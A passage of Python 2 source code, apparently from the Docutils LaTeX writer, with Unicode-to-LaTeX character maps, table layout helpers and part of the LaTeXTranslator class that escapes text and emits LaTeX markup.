0x202F: ur'\,', # NARROW NO-BREAK SPACE
0x21d4: ur'$\Leftrightarrow$',
# Docutils footnote symbols:
0x2660: ur'$\spadesuit$',
0x2663: ur'$\clubsuit$',
}
# Unicode chars that are recognized by LaTeX's utf8 encoding
utf8_supported_unicode = {
0x00AB: ur'\guillemotleft{}', # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
0x00bb: ur'\guillemotright{}', # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
0x200C: ur'\textcompwordmark{}', # ZERO WIDTH NON-JOINER
0x2013: ur'\textendash{}',
0x2014: ur'\textemdash{}',
0x2018: ur'\textquoteleft{}',
0x2019: ur'\textquoteright{}',
0x201A: ur'\quotesinglbase{}', # SINGLE LOW-9 QUOTATION MARK
0x201C: ur'\textquotedblleft{}',
0x201D: ur'\textquotedblright{}',
0x201E: ur'\quotedblbase{}', # DOUBLE LOW-9 QUOTATION MARK
0x2030: ur'\textperthousand{}', # PER MILLE SIGN
0x2031: ur'\textpertenthousand{}', # PER TEN THOUSAND SIGN
0x2039: ur'\guilsinglleft{}',
0x203A: ur'\guilsinglright{}',
0x2423: ur'\textvisiblespace{}', # OPEN BOX
0x2020: ur'\dag{}',
0x2021: ur'\ddag{}',
0x2026: ur'\dots{}',
0x2122: ur'\texttrademark{}',
}
# recognized with 'utf8', if textcomp is loaded
textcomp = {
# Latin-1 Supplement
0x00a2: ur'\textcent{}', # ¢ CENT SIGN
0x00a4: ur'\textcurrency{}', # ¤ CURRENCY SYMBOL
0x00a5: ur'\textyen{}', # ¥ YEN SIGN
0x00a6: ur'\textbrokenbar{}', # ¦ BROKEN BAR
0x00a7: ur'\textsection{}', # § SECTION SIGN
0x00a8: ur'\textasciidieresis{}', # ¨ DIAERESIS
0x00a9: ur'\textcopyright{}', # © COPYRIGHT SIGN
0x00aa: ur'\textordfeminine{}', # ª FEMININE ORDINAL INDICATOR
0x00ac: ur'\textlnot{}', # ¬ NOT SIGN
0x00ae: ur'\textregistered{}', # ® REGISTERED SIGN
0x00af: ur'\textasciimacron{}', # ¯ MACRON
0x00b0: ur'\textdegree{}', # ° DEGREE SIGN
0x00b1: ur'\textpm{}', # ± PLUS-MINUS SIGN
0x00b2: ur'\texttwosuperior{}', # ² SUPERSCRIPT TWO
0x00b3: ur'\textthreesuperior{}', # ³ SUPERSCRIPT THREE
0x00b4: ur'\textasciiacute{}', # ´ ACUTE ACCENT
0x00b5: ur'\textmu{}', # µ MICRO SIGN
0x00b6: ur'\textparagraph{}', # ¶ PILCROW SIGN # != \textpilcrow
0x00b9: ur'\textonesuperior{}', # ¹ SUPERSCRIPT ONE
0x00ba: ur'\textordmasculine{}', # º MASCULINE ORDINAL INDICATOR
0x00bc: ur'\textonequarter{}', # 1/4 FRACTION
0x00bd: ur'\textonehalf{}', # 1/2 FRACTION
0x00be: ur'\textthreequarters{}', # 3/4 FRACTION
0x00d7: ur'\texttimes{}', # × MULTIPLICATION SIGN
0x00f7: ur'\textdiv{}', # ÷ DIVISION SIGN
# others
0x0192: ur'\textflorin{}', # LATIN SMALL LETTER F WITH HOOK
0x02b9: ur'\textasciiacute{}', # MODIFIER LETTER PRIME
0x02ba: ur'\textacutedbl{}', # MODIFIER LETTER DOUBLE PRIME
0x2016: ur'\textbardbl{}', # DOUBLE VERTICAL LINE
0x2022: ur'\textbullet{}', # BULLET
0x2032: ur'\textasciiacute{}', # PRIME
0x2033: ur'\textacutedbl{}', # DOUBLE PRIME
0x2035: ur'\textasciigrave{}', # REVERSED PRIME
0x2036: ur'\textgravedbl{}', # REVERSED DOUBLE PRIME
0x203b: ur'\textreferencemark{}', # REFERENCE MARK
0x203d: ur'\textinterrobang{}', # INTERROBANG
0x2044: ur'\textfractionsolidus{}', # FRACTION SLASH
0x2045: ur'\textlquill{}', # LEFT SQUARE BRACKET WITH QUILL
0x2046: ur'\textrquill{}', # RIGHT SQUARE BRACKET WITH QUILL
0x2052: ur'\textdiscount{}', # COMMERCIAL MINUS SIGN
0x20a1: ur'\textcolonmonetary{}', # COLON SIGN
0x20a3: ur'\textfrenchfranc{}', # FRENCH FRANC SIGN
0x20a4: ur'\textlira{}', # LIRA SIGN
0x20a6: ur'\textnaira{}', # NAIRA SIGN
0x20a9: ur'\textwon{}', # WON SIGN
0x20ab: ur'\textdong{}', # DONG SIGN
0x20ac: ur'\texteuro{}', # EURO SIGN
0x20b1: ur'\textpeso{}', # PESO SIGN
0x20b2: ur'\textguarani{}', # GUARANI SIGN
0x2103: ur'\textcelsius{}', # DEGREE CELSIUS
0x2116: ur'\textnumero{}', # NUMERO SIGN
0x2117: ur'\textcircledP{}', # SOUND RECORDING COYRIGHT
0x211e: ur'\textrecipe{}', # PRESCRIPTION TAKE
0x2120: ur'\textservicemark{}', # SERVICE MARK
0x2122: ur'\texttrademark{}', # TRADE MARK SIGN
0x2126: ur'\textohm{}', # OHM SIGN
0x2127: ur'\textmho{}', # INVERTED OHM SIGN
0x212e: ur'\textestimated{}', # ESTIMATED SYMBOL
0x2190: ur'\textleftarrow{}', # LEFTWARDS ARROW
0x2191: ur'\textuparrow{}', # UPWARDS ARROW
0x2192: ur'\textrightarrow{}', # RIGHTWARDS ARROW
0x2193: ur'\textdownarrow{}', # DOWNWARDS ARROW
0x2212: ur'\textminus{}', # MINUS SIGN
0x2217: ur'\textasteriskcentered{}', # ASTERISK OPERATOR
0x221a: ur'\textsurd{}', # SQUARE ROOT
0x2422: ur'\textblank{}', # BLANK SYMBOL
0x25e6: ur'\textopenbullet{}', # WHITE BULLET
0x25ef: ur'\textbigcircle{}', # LARGE CIRCLE
0x266a: ur'\textmusicalnote{}', # EIGHTH NOTE
0x26ad: ur'\textmarried{}', # MARRIAGE SYMBOL
0x26ae: ur'\textdivorced{}', # DIVORCE SYMBOL
0x27e8: ur'\textlangle{}', # MATHEMATICAL LEFT ANGLE BRACKET
0x27e9: ur'\textrangle{}', # MATHEMATICAL RIGHT ANGLE BRACKET
}
# Unicode chars that require a feature/package to render
pifont = {
0x2665: ur'\ding{170}', # black heartsuit
0x2666: ur'\ding{169}', # black diamondsuit
0x2713: ur'\ding{51}', # check mark
0x2717: ur'\ding{55}', # check mark
}
# TODO: greek alphabet ... ?
# see also LaTeX codec
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252124
# and unimap.py from TeXML
class DocumentClass(object):
"""Details of a LaTeX document class."""
def __init__(self, document_class, with_part=False):
self.document_class = document_class
self._with_part = with_part
self.sections = ['section', 'subsection', 'subsubsection',
'paragraph', 'subparagraph']
if self.document_class in ('book', 'memoir', 'report',
'scrbook', 'scrreprt'):
self.sections.insert(0, 'chapter')
if self._with_part:
self.sections.insert(0, 'part')
def section(self, level):
"""Return the LaTeX section name for section `level`.
The name depends on the specific document class.
Level is 1,2,3..., as level 0 is the title.
"""
if level <= len(self.sections):
return self.sections[level-1]
else: # unsupported levels
return 'DUtitle[section%s]' % roman.toRoman(level)
class Table(object):
"""Manage a table while traversing.
Maybe change to a mixin defining the visit/departs, but then
class Table internal variables are in the Translator.
Table style might be
:standard: horizontal and vertical lines
:booktabs: only horizontal lines (requires "booktabs" LaTeX package)
:borderless: no borders around table cells
:nolines: alias for borderless
:colwidths-auto: column widths determined by LaTeX
:colwidths-given: use colum widths from rST source
"""
def __init__(self, translator, latex_type):
self._translator = translator
self._latex_type = latex_type
self._open = False
# miscellaneous attributes
self._attrs = {}
self._col_width = []
self._rowspan = []
self.stubs = []
self.colwidths_auto = False
self._in_thead = 0
def open(self):
self._open = True
self._col_specs = []
self.caption = []
self._attrs = {}
self._in_head = False # maybe context with search
def close(self):
self._open = False
self._col_specs = None
self.caption = []
self._attrs = {}
self.stubs = []
self.colwidths_auto = False
def is_open(self):
return self._open
def set_table_style(self, table_style, classes):
borders = [cls.replace('nolines', 'borderless')
for cls in table_style+classes
if cls in ('standard','booktabs','borderless', 'nolines')]
try:
self.borders = borders[-1]
except IndexError:
self.borders = 'standard'
self.colwidths_auto = (('colwidths-auto' in classes
and 'colwidths-given' not in table_style)
or ('colwidths-auto' in table_style
and ('colwidths-given' not in classes)))
def get_latex_type(self):
if self._latex_type == 'longtable' and not self.caption:
# do not advance the "table" counter (requires "ltcaption" package)
return('longtable*')
return self._latex_type
def set(self,attr,value):
self._attrs[attr] = value
def get(self,attr):
if attr in self._attrs:
return self._attrs[attr]
return None
def get_vertical_bar(self):
if self.borders == 'standard':
return '|'
return ''
# horizontal lines are drawn below a row,
def get_opening(self):
align_map = {'left': 'l',
'center': 'c',
'right': 'r'}
align = align_map.get(self.get('align') or 'center')
opening = [r'\begin{%s}[%s]' % (self.get_latex_type(), align)]
if not self.colwidths_auto:
opening.insert(0, r'\setlength{\DUtablewidth}{\linewidth}')
return '\n'.join(opening)
def get_closing(self):
closing = []
if self.borders == 'booktabs':
closing.append(r'\bottomrule')
# elif self.borders == 'standard':
# closing.append(r'\hline')
closing.append(r'\end{%s}' % self.get_latex_type())
return '\n'.join(closing)
def visit_colspec(self, node):
self._col_specs.append(node)
# "stubs" list is an attribute of the tgroup element:
self.stubs.append(node.attributes.get('stub'))
def get_colspecs(self, node):
"""Return column specification for longtable.
Assumes reST line length being 80 characters.
Table width is hairy.
=== ===
ABC DEF
=== ===
usually gets to narrow, therefore we add 1 (fiddlefactor).
"""
bar = self.get_vertical_bar()
self._rowspan= [0] * len(self._col_specs)
self._col_width = []
if self.colwidths_auto:
latex_table_spec = (bar+'l')*len(self._col_specs)
return latex_table_spec+bar
width = 80
total_width = 0.0
# first see if we get too wide.
for node in self._col_specs:
colwidth = float(node['colwidth']+1) / width
total_width += colwidth
# donot make it full linewidth
factor = 0.93
if total_width > 1.0:
factor /= total_width
latex_table_spec = ''
for node in self._col_specs:
colwidth = factor * float(node['colwidth']+1) / width
self._col_width.append(colwidth+0.005)
latex_table_spec += '%sp{%.3f\\DUtablewidth}' % (bar, colwidth+0.005)
return latex_table_spec+bar
def get_column_width(self):
"""Return columnwidth for current cell (not multicell)."""
try:
return '%.2f\\DUtablewidth' % self._col_width[self._cell_in_row]
except IndexError:
return '*'
def get_multicolumn_width(self, start, len_):
"""Return sum of columnwidths for multicell."""
try:
mc_width = sum([width
for width in ([self._col_width[start + co]
for co in range (len_)])])
return 'p{%.2f\\DUtablewidth}' % mc_width
except IndexError:
return 'l'
def get_caption(self):
if not self.caption:
return ''
caption = ''.join(self.caption)
if 1 == self._translator.thead_depth():
return r'\caption{%s}\\' '\n' % caption
return r'\caption[]{%s (... continued)}\\' '\n' % caption
def need_recurse(self):
if self._latex_type == 'longtable':
return 1 == self._translator.thead_depth()
return 0
def visit_thead(self):
self._in_thead += 1
if self.borders == 'standard':
return ['\\hline\n']
elif self.borders == 'booktabs':
return ['\\toprule\n']
return []
def depart_thead(self):
a = []
#if self.borders == 'standard':
# a.append('\\hline\n')
if self.borders == 'booktabs':
a.append('\\midrule\n')
if self._latex_type == 'longtable':
if 1 == self._translator.thead_depth():
a.append('\\endfirsthead\n')
else:
a.append('\\endhead\n')
a.append(r'\multicolumn{%d}{c}' % len(self._col_specs) +
r'{\hfill ... continued on next page} \\')
a.append('\n\\endfoot\n\\endlastfoot\n')
# for longtable one could add firsthead, foot and lastfoot
self._in_thead -= 1
return a
def visit_row(self):
self._cell_in_row = 0
def depart_row(self):
res = [' \\\\\n']
self._cell_in_row = None # remove cell counter
for i in range(len(self._rowspan)):
if (self._rowspan[i]>0):
self._rowspan[i] -= 1
if self.borders == 'standard':
rowspans = [i+1 for i in range(len(self._rowspan))
if (self._rowspan[i]<=0)]
if len(rowspans)==len(self._rowspan):
res.append('\\hline\n')
else:
cline = ''
rowspans.reverse()
# TODO merge clines
while True:
try:
c_start = rowspans.pop()
except:
break
cline += '\\cline{%d-%d}\n' % (c_start,c_start)
res.append(cline)
return res
def set_rowspan(self,cell,value):
try:
self._rowspan[cell] = value
except:
pass
def get_rowspan(self,cell):
try:
return self._rowspan[cell]
except:
return 0
def get_entry_number(self):
return self._cell_in_row
def visit_entry(self):
self._cell_in_row += 1
def is_stub_column(self):
if len(self.stubs) >= self._cell_in_row:
return self.stubs[self._cell_in_row]
return False
class LaTeXTranslator(nodes.NodeVisitor):
# When options are given to the documentclass, latex will pass them
# to other packages, as done with babel.
# Dummy settings might be taken from document settings
# Write code for typesetting with 8-bit tex/pdftex (vs. xetex/luatex) engine
# overwritten by the XeTeX writer
is_xetex = False
# Config setting defaults
# -----------------------
# TODO: use mixins for different implementations.
# list environment for docinfo. else tabularx
## use_optionlist_for_docinfo = False # TODO: NOT YET IN USE
# Use compound enumerations (1.A.1.)
compound_enumerators = False
# If using compound enumerations, include section information.
section_prefix_for_enumerators = False
# This is the character that separates the section ("." subsection ...)
# prefix from the regular list enumerator.
section_enumerator_separator = '-'
# Auxiliary variables
# -------------------
has_latex_toc = False # is there a toc in the doc? (needed by minitoc)
is_toc_list = False # is the current bullet_list a ToC?
section_level = 0
# Flags to encode():
# inside citation reference labels underscores dont need to be escaped
inside_citation_reference_label = False
verbatim = False # do not encode
insert_non_breaking_blanks = False # replace blanks by "~"
insert_newline = False # add latex newline commands
literal = False # literal text (block or inline)
alltt = False # inside `alltt` environment
def __init__(self, document, babel_class=Babel):
nodes.NodeVisitor.__init__(self, document)
# Reporter
# ~~~~~~~~
self.warn = self.document.reporter.warning
self.error = self.document.reporter.error
# Settings
# ~~~~~~~~
self.settings = settings = document.settings
self.latex_encoding = self.to_latex_encoding(settings.output_encoding)
self.use_latex_toc = settings.use_latex_toc
self.use_latex_docinfo = settings.use_latex_docinfo
self._use_latex_citations = settings.use_latex_citations
self._reference_label = settings.reference_label
self.hyperlink_color = settings.hyperlink_color
self.compound_enumerators = settings.compound_enumerators
self.font_encoding = getattr(settings, 'font_encoding', '')
self.section_prefix_for_enumerators = (
settings.section_prefix_for_enumerators)
self.section_enumerator_separator = (
settings.section_enumerator_separator.replace('_', r'\_'))
# literal blocks:
self.literal_block_env = 'alltt'
self.literal_block_options = ''
if settings.literal_block_env != '':
(none,
self.literal_block_env,
self.literal_block_options,
none ) = re.split('(\w+)(.*)', settings.literal_block_env)
elif settings.use_verbatim_when_possible:
self.literal_block_env = 'verbatim'
#
if self.settings.use_bibtex:
self.bibtex = self.settings.use_bibtex.split(',',1)
# TODO avoid errors on not declared citations.
else:
self.bibtex = None
# language module for Docutils-generated text
# (labels, bibliographic_fields, and author_separators)
self.language_module = languages.get_language(settings.language_code,
document.reporter)
self.babel = babel_class(settings.language_code, document.reporter)
self.author_separator = self.language_module.author_separators[0]
d_options = [self.settings.documentoptions]
if self.babel.language not in ('english', ''):
d_options.append(self.babel.language)
self.documentoptions = ','.join(filter(None, d_options))
self.d_class = DocumentClass(settings.documentclass,
settings.use_part_section)
# graphic package options:
if self.settings.graphicx_option == '':
self.graphicx_package = r'\usepackage{graphicx}'
elif self.settings.graphicx_option.lower() == 'auto':
self.graphicx_package = PreambleCmds.graphicx_auto
else:
self.graphicx_package = (r'\usepackage[%s]{graphicx}' %
self.settings.graphicx_option)
# footnotes:
self.docutils_footnotes = settings.docutils_footnotes
# @@ table_style: list of values from fixed set: warn?
# for s in self.settings.table_style:
# if s not in Writer.table_style_values:
# self.warn('Ignoring value "%s" in "table-style" setting.' %s)
# Output collection stacks
# ~~~~~~~~~~~~~~~~~~~~~~~~
# Document parts
self.head_prefix = [r'\documentclass[%s]{%s}' %
(self.documentoptions, self.settings.documentclass)]
self.requirements = SortableDict() # made a list in depart_document()
self.requirements['__static'] = r'\usepackage{ifthen}'
self.latex_preamble = [settings.latex_preamble]
self.fallbacks = SortableDict() # made a list in depart_document()
self.pdfsetup = [] # PDF properties (hyperref package)
self.title = []
self.subtitle = []
self.titledata = [] # \title, \author, \date
## self.body_prefix = ['\\begin{document}\n']
self.body_pre_docinfo = [] # \maketitle
self.docinfo = []
self.dedication = []
self.abstract = []
self.body = []
## self.body_suffix = ['\\end{document}\n']
# A heterogenous stack used in conjunction with the tree traversal.
# Make sure that the pops correspond to the pushes:
self.context = []
# Title metadata:
self.title_labels = []
self.subtitle_labels = []
# (if use_latex_docinfo: collects lists of
# author/organization/contact/address lines)
self.author_stack = []
self.date = []
# PDF properties: pdftitle, pdfauthor
# TODO?: pdfcreator, pdfproducer, pdfsubject, pdfkeywords
self.pdfinfo = []
self.pdfauthor = []
# Stack of section counters so that we don't have to use_latex_toc.
# This will grow and shrink as processing occurs.
# Initialized for potential first-level sections.
self._section_number = [0]
# The current stack of enumerations so that we can expand
# them into a compound enumeration.
self._enumeration_counters = []
# The maximum number of enumeration counters we've used.
# If we go beyond this number, we need to create a new
# counter; otherwise, just reuse an old one.
self._max_enumeration_counters = 0
self._bibitems = []
# object for a table while proccessing.
self.table_stack = []
self.active_table = Table(self, 'longtable')
# Where to collect the output of visitor methods (default: body)
self.out = self.body
self.out_stack = [] # stack of output collectors
# Process settings
# ~~~~~~~~~~~~~~~~
# Encodings:
# Docutils' output-encoding => TeX input encoding
if self.latex_encoding != 'ascii':
self.requirements['_inputenc'] = (r'\usepackage[%s]{inputenc}'
% self.latex_encoding)
# TeX font encoding
if not self.is_xetex:
if self.font_encoding:
self.requirements['_fontenc'] = (r'\usepackage[%s]{fontenc}' %
self.font_encoding)
# ensure \textquotedbl is defined:
for enc in self.font_encoding.split(','):
enc = enc.strip()
if enc == 'OT1':
self.requirements['_textquotedblOT1'] = (
r'\DeclareTextSymbol{\textquotedbl}{OT1}{`\"}')
elif enc not in ('T1', 'T2A', 'T2B', 'T2C', 'T4', 'T5'):
self.requirements['_textquotedbl'] = (
r'\DeclareTextSymbolDefault{\textquotedbl}{T1}')
# page layout with typearea (if there are relevant document options)
if (settings.documentclass.find('scr') == -1 and
(self.documentoptions.find('DIV') != -1 or
self.documentoptions.find('BCOR') != -1)):
self.requirements['typearea'] = r'\usepackage{typearea}'
# Stylesheets
# (the name `self.stylesheet` is singular because only one
# stylesheet was supported before Docutils 0.6).
self.stylesheet = [self.stylesheet_call(path)
for path in utils.get_stylesheet_list(settings)]
# PDF setup
if self.hyperlink_color in ('0', 'false', 'False', ''):
self.hyperref_options = ''
else:
self.hyperref_options = 'colorlinks=true,linkcolor=%s,urlcolor=%s' % (
self.hyperlink_color, self.hyperlink_color)
if settings.hyperref_options:
self.hyperref_options += ',' + settings.hyperref_options
# LaTeX Toc
# include all supported sections in toc and PDF bookmarks
# (or use documentclass-default (as currently))?
## if self.use_latex_toc:
## self.requirements['tocdepth'] = (r'\setcounter{tocdepth}{%d}' %
## len(self.d_class.sections))
# Section numbering
if settings.sectnum_xform: # section numbering by Docutils
PreambleCmds.secnumdepth = r'\setcounter{secnumdepth}{0}'
else: # section numbering by LaTeX:
secnumdepth = settings.sectnum_depth
# Possible values of settings.sectnum_depth:
# None "sectnum" directive without depth arg -> LaTeX default
# 0 no "sectnum" directive -> no section numbers
# >0 value of "depth" argument -> translate to LaTeX levels:
# -1 part (0 with "article" document class)
# 0 chapter (missing in "article" document class)
# 1 section
# 2 subsection
# 3 subsubsection
# 4 paragraph
# 5 subparagraph
if secnumdepth is not None:
# limit to supported levels
secnumdepth = min(secnumdepth, len(self.d_class.sections))
# adjust to document class and use_part_section settings
if 'chapter' in self.d_class.sections:
secnumdepth -= 1
if self.d_class.sections[0] == 'part':
secnumdepth -= 1
PreambleCmds.secnumdepth = \
r'\setcounter{secnumdepth}{%d}' % secnumdepth
# start with specified number:
if (hasattr(settings, 'sectnum_start') and
settings.sectnum_start != 1):
self.requirements['sectnum_start'] = (
r'\setcounter{%s}{%d}' % (self.d_class.sections[0],
settings.sectnum_start-1))
# TODO: currently ignored (configure in a stylesheet):
## settings.sectnum_prefix
## settings.sectnum_suffix
# Auxiliary Methods
# -----------------
def stylesheet_call(self, path):
"""Return code to reference or embed stylesheet file `path`"""
# is it a package (no extension or *.sty) or "normal" tex code:
(base, ext) = os.path.splitext(path)
is_package = ext in ['.sty', '']
# Embed content of style file:
if self.settings.embed_stylesheet:
if is_package:
path = base + '.sty' # ensure extension
try:
content = io.FileInput(source_path=path,
encoding='utf-8').read()
self.settings.record_dependencies.add(path)
except IOError, err:
msg = u"Cannot embed stylesheet '%s':\n %s." % (
path, SafeString(err.strerror))
self.document.reporter.error(msg)
return '% ' + msg.replace('\n', '\n% ')
if is_package:
content = '\n'.join([r'\makeatletter',
content,
r'\makeatother'])
return '%% embedded stylesheet: %s\n%s' % (path, content)
# Link to style file:
if is_package:
path = base # drop extension
cmd = r'\usepackage{%s}'
else:
cmd = r'\input{%s}'
if self.settings.stylesheet_path:
# adapt path relative to output (cf. config.html#stylesheet-path)
path = utils.relative_path(self.settings._destination, path)
return cmd % path
def to_latex_encoding(self,docutils_encoding):
"""Translate docutils encoding name into LaTeX's.
Default method is remove "-" and "_" chars from docutils_encoding.
"""
tr = { 'iso-8859-1': 'latin1', # west european
'iso-8859-2': 'latin2', # east european
'iso-8859-3': 'latin3', # esperanto, maltese
'iso-8859-4': 'latin4', # north european, scandinavian, baltic
'iso-8859-5': 'iso88595', # cyrillic (ISO)
'iso-8859-9': 'latin5', # turkish
'iso-8859-15': 'latin9', # latin9, update to latin1.
'mac_cyrillic': 'maccyr', # cyrillic (on Mac)
'windows-1251': 'cp1251', # cyrillic (on Windows)
'koi8-r': 'koi8-r', # cyrillic (Russian)
'koi8-u': 'koi8-u', # cyrillic (Ukrainian)
'windows-1250': 'cp1250', #
'windows-1252': 'cp1252', #
'us-ascii': 'ascii', # ASCII (US)
# unmatched encodings
#'': 'applemac',
#'': 'ansinew', # windows 3.1 ansi
#'': 'ascii', # ASCII encoding for the range 32--127.
#'': 'cp437', # dos latin us
#'': 'cp850', # dos latin 1
#'': 'cp852', # dos latin 2
#'': 'decmulti',
#'': 'latin10',
#'iso-8859-6': '' # arabic
#'iso-8859-7': '' # greek
#'iso-8859-8': '' # hebrew
#'iso-8859-10': '' # latin6, more complete iso-8859-4
}
encoding = docutils_encoding.lower()
if encoding in tr:
return tr[encoding]
# drop hyphen or low-line from "latin-1", "latin_1", "utf-8" and similar
encoding = encoding.replace('_', '').replace('-', '')
# strip the error handler
return encoding.split(':')[0]
def language_label(self, docutil_label):
return self.language_module.labels[docutil_label]
def encode(self, text):
"""Return text with 'problematic' characters escaped.
* Escape the special printing characters ``# $ % & ~ _ ^ \ { }``,
square brackets ``[ ]``, double quotes and (in OT1) ``< | >``.
* Translate non-supported Unicode characters.
* Separate ``-`` (and more in literal text) to prevent input ligatures.
"""
if self.verbatim:
return text
# Set up the translation table:
table = CharMaps.alltt.copy()
if not self.alltt:
table.update(CharMaps.special)
# keep the underscore in citation references
if self.inside_citation_reference_label:
del(table[ord('_')])
# Workarounds for OT1 font-encoding
if self.font_encoding in ['OT1', ''] and not self.is_xetex:
# * out-of-order characters in cmtt
if self.literal:
# replace underscore by underlined blank,
# because this has correct width.
table[ord('_')] = u'\\underline{~}'
# the backslash doesn't work, so we use a mirrored slash.
# \reflectbox is provided by graphicx:
self.requirements['graphicx'] = self.graphicx_package
table[ord('\\')] = ur'\reflectbox{/}'
# * ``< | >`` come out as different chars (except for cmtt):
else:
table[ord('|')] = ur'\textbar{}'
table[ord('<')] = ur'\textless{}'
table[ord('>')] = ur'\textgreater{}'
if self.insert_non_breaking_blanks:
table[ord(' ')] = ur'~'
# Unicode replacements for 8-bit tex engines (not required with XeTeX/LuaTeX):
if not self.is_xetex:
table.update(CharMaps.unsupported_unicode)
if not self.latex_encoding.startswith('utf8'):
table.update(CharMaps.utf8_supported_unicode)
table.update(CharMaps.textcomp)
table.update(CharMaps.pifont)
# Characters that require a feature/package to render
if [True for ch in text if ord(ch) in CharMaps.textcomp]:
self.requirements['textcomp'] = PreambleCmds.textcomp
if [True for ch in text if ord(ch) in CharMaps.pifont]:
self.requirements['pifont'] = '\\usepackage{pifont}'
text = text.translate(table)
# Break up input ligatures e.g. '--' to '-{}-'.
if not self.is_xetex: # Not required with xetex/luatex
separate_chars = '-'
# In monospace-font, we also separate ',,', '``' and "''" and some
# other characters which can't occur in non-literal text.
if self.literal:
separate_chars += ',`\'"<>'
for char in separate_chars * 2:
# Do it twice ("* 2") because otherwise we would replace
# '---' by '-{}--'.
text = text.replace(char + char, char + '{}' + char)
# Literal line breaks (in address or literal blocks):
if self.insert_newline:
lines = text.split('\n')
# Add a protected space to blank lines (except the last)
# to avoid ``! LaTeX Error: There's no line here to end.``
for i, line in enumerate(lines[:-1]):
if not line.lstrip():
lines[i] += '~'
text = (r'\\' + '\n').join(lines)
if self.literal and not self.insert_non_breaking_blanks:
# preserve runs of spaces but allow wrapping
text = text.replace(' ', ' ~')
return text
def attval(self, text,
whitespace=re.compile('[\n\r\t\v\f]')):
"""Cleanse, encode, and return attribute value text."""
return self.encode(whitespace.sub(' ', text))
# TODO: is this used anywhere? -> update (use template) or delete
## def astext(self):
## """Assemble document parts and return as string."""
## head = '\n'.join(self.head_prefix + self.stylesheet + self.head)
## body = ''.join(self.body_prefix + self.body + self.body_suffix)
## return head + '\n' + body
def is_inline(self, node):
"""Check whether a node represents an inline or block-level element"""
return isinstance(node.parent, nodes.TextElement)
def append_hypertargets(self, node):
"""Append hypertargets for all ids of `node`"""
# hypertarget places the anchor at the target's baseline,
# so we raise it explicitely
self.out.append('%\n'.join(['\\raisebox{1em}{\\hypertarget{%s}{}}' %
id for id in node['ids']]))
def ids_to_labels(self, node, set_anchor=True):
"""Return list of label definitions for all ids of `node`
If `set_anchor` is True, an anchor is set with \phantomsection.
"""
labels = ['\\label{%s}' % id for id in node.get('ids', [])]
if set_anchor and labels:
labels.insert(0, '\\phantomsection')
return labels
def push_output_collector(self, new_out):
self.out_stack.append(self.out)
self.out = new_out
def pop_output_collector(self):
self.out = self.out_stack.pop()
# Visitor methods
# ---------------
def visit_Text(self, node):
self.out.append(self.encode(node.astext()))
def depart_Text(self, node):
pass
def visit_abbreviation(self, node):
node['classes'].insert(0, 'abbreviation')
self.visit_inline(node)
def depart_abbreviation(self, node):
self.depart_inline(node)
def visit_acronym(self, node):
node['classes'].insert(0, 'acronym')
self.visit_inline(node)
def depart_acronym(self, node):
self.depart_inline(node)
def visit_address(self, node):
self.visit_docinfo_item(node, 'address')
def depart_address(self, node):
self.depart_docinfo_item(node)
def visit_admonition(self, node):
self.fallbacks['admonition'] = PreambleCmds.admonition
if 'error' in node['classes']:
self.fallbacks['error'] = PreambleCmds.error
# strip the generic 'admonition' from the list of classes
node['classes'] = [cls for cls in node['classes']
if cls != 'admonition']
self.out.append('\n\\DUadmonition[%s]{\n' % ','.join(node['classes']))
def depart_admonition(self, node=None):
self.out.append('}\n')
def visit_author(self, node):
self.visit_docinfo_item(node, 'author')
def depart_author(self, node):
self.depart_docinfo_item(node)
def visit_authors(self, node):
# not used: visit_author is called anyway for each author.
pass
def depart_authors(self, node):
pass
def visit_block_quote(self, node):
self.out.append( '%\n\\begin{quote}\n')
if node['classes']:
self.visit_inline(node)
def depart_block_quote(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append( '\n\\end{quote}\n')
def visit_bullet_list(self, node):
if self.is_toc_list:
self.out.append( '%\n\\begin{list}{}{}\n' )
else:
self.out.append( '%\n\\begin{itemize}\n' )
# if node['classes']:
# self.visit_inline(node)
def depart_bullet_list(self, node):
# if node['classes']:
# self.depart_inline(node)
if self.is_toc_list:
self.out.append( '\n\\end{list}\n' )
else:
self.out.append( '\n\\end{itemize}\n' )
def visit_superscript(self, node):
self.out.append(r'\textsuperscript{')
if node['classes']:
self.visit_inline(node)
def depart_superscript(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append('}')
def visit_subscript(self, node):
self.out.append(r'\textsubscript{') # requires `fixltx2e`
if node['classes']:
self.visit_inline(node)
def depart_subscript(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append('}')
def visit_caption(self, node):
self.out.append('\n\\caption{')
def depart_caption(self, node):
self.out.append('}\n')
def visit_title_reference(self, node):
self.fallbacks['titlereference'] = PreambleCmds.titlereference
self.out.append(r'\DUroletitlereference{')
if node['classes']:
self.visit_inline(node)
def depart_title_reference(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append( '}' )
def visit_citation(self, node):
# TODO maybe use cite bibitems
if self._use_latex_citations:
self.push_output_collector([])
else:
# TODO: do we need these?
## self.requirements['~fnt_floats'] = PreambleCmds.footnote_floats
self.out.append(r'\begin{figure}[b]')
self.append_hypertargets(node)
def depart_citation(self, node):
if self._use_latex_citations:
label = self.out[0]
text = ''.join(self.out[1:])
self._bibitems.append([label, text])
self.pop_output_collector()
else:
self.out.append('\\end{figure}\n')
def visit_citation_reference(self, node):
if self._use_latex_citations:
if not self.inside_citation_reference_label:
self.out.append(r'\cite{')
self.inside_citation_reference_label = 1
else:
assert self.body[-1] in (' ', '\n'),\
'unexpected non-whitespace while in reference label'
del self.body[-1]
else:
href = ''
if 'refid' in node:
href = node['refid']
elif 'refname' in node:
href = self.document.nameids[node['refname']]
self.out.append('\\hyperlink{%s}{[' % href)
def depart_citation_reference(self, node):
if self._use_latex_citations:
followup_citation = False
# check for a following citation separated by a space or newline
next_siblings = node.traverse(descend=False, siblings=True,
include_self=False)
if len(next_siblings) > 1:
next = next_siblings[0]
if (isinstance(next, nodes.Text) and
next.astext() in (' ', '\n')):
if next_siblings[1].__class__ == node.__class__:
followup_citation = True
if followup_citation:
self.out.append(',')
else:
self.out.append('}')
self.inside_citation_reference_label = False
else:
self.out.append(']}')
def visit_classifier(self, node):
self.out.append( '(\\textbf{' )
def depart_classifier(self, node):
self.out.append( '})\n' )
def visit_colspec(self, node):
self.active_table.visit_colspec(node)
def depart_colspec(self, node):
pass
def visit_comment(self, node):
# Precede every line with a comment sign, wrap in newlines
self.out.append('\n%% %s\n' % node.astext().replace('\n', '\n% '))
